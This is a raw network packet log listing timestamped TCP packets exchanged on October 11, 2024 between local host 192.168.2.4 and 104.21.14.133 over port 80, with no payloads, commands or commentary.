Oct 11, 2024 04:10:42.614831924 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614835978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614852905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614854097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614870071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614872932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614896059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614918947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614921093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614937067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614939928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614954948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.614969015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.614979982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615006924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615014076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615046024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615055084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615072012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615087986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615088940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615103960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615128040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615130901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615145922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615161896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615171909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615180969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615189075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615206003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615210056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615223885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615247965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615258932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615266085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615281105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615297079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615303993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615313053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615329027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615331888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615345955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615360975 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615362883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615379095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615402937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615411043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615426064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615427971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615468025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615468025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615494013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615504026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615510941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615525961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615529060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615541935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615545988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615565062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615566015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615582943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615587950 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615598917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615614891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615617037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615639925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615653038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615658045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615673065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615674019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615690947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615706921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615714073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615730047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615742922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615748882 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615758896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615771055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615791082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615794897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615825891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615835905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615853071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615856886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615869045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615881920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615885973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615905046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615911961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615936995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615941048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615952969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615968943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.615976095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.615983963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616012096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616017103 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616029024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616045952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616058111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616061926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616079092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616094112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616095066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616118908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616136074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616141081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616153002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616159916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616178036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616193056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616208076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616214991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616224051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616240025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616252899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616257906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616270065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616297960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616312027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616328001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616333961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616343975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616358042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616362095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616379023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616394043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616415024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616429090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616429090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616441011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616463900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616507053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616545916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616570950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616595984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616596937 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616611004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616616964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616630077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616641998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616647005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616664886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616681099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616695881 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616695881 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616707087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616724014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616734982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616739988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616756916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616758108 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616772890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616790056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616801977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616813898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616822958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616828918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.616884947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.616928101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701368093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.701390028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.701406956 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.701422930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.701425076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701441050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.701452971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701452971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701459885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.701479912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.701481104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701481104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701494932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.701499939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701519012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701538086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.701999903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702060938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702126026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702155113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702171087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702177048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702186108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702198982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702203989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702220917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702236891 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702239037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702239037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702253103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702265978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702270985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702291965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702297926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702316046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702316999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702342987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702343941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702362061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702364922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702382088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702388048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702402115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702405930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702420950 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702434063 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702435017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702455997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702461958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702461958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702480078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702498913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702503920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702521086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702536106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702548981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702560902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702565908 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702578068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702586889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702594995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702606916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702613115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702630997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702634096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702634096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702647924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702663898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702671051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702689886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702706099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702722073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702738047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702753067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702770948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702790976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702800989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702800989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702815056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702831984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702847004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702848911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702888012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702907085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702919006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702934980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702950954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702965975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702980042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.702981949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.702999115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703005075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703016996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703023911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703042030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703042030 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703059912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703077078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703078032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703094006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703103065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703103065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703111887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703124046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703130007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703147888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703151941 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703151941 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703165054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703170061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703181982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703187943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703201056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703211069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703231096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703248024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703250885 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703268051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703283072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703296900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703315020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703332901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703340054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703363895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703381062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703392029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703412056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703414917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703432083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703433037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703449965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703458071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703466892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703478098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703491926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703502893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703504086 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703511000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703531981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703548908 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703561068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703586102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703602076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703613043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703627110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703640938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703640938 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703646898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703663111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703665018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703680038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703684092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703699112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703697920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703720093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703723907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703747988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703751087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703763962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703771114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703788996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703792095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703805923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703810930 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703828096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703834057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703854084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703854084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703870058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703876972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703886032 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.703895092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.703912973 CEST	80	49733	104.21.14.133	192.168.2.4
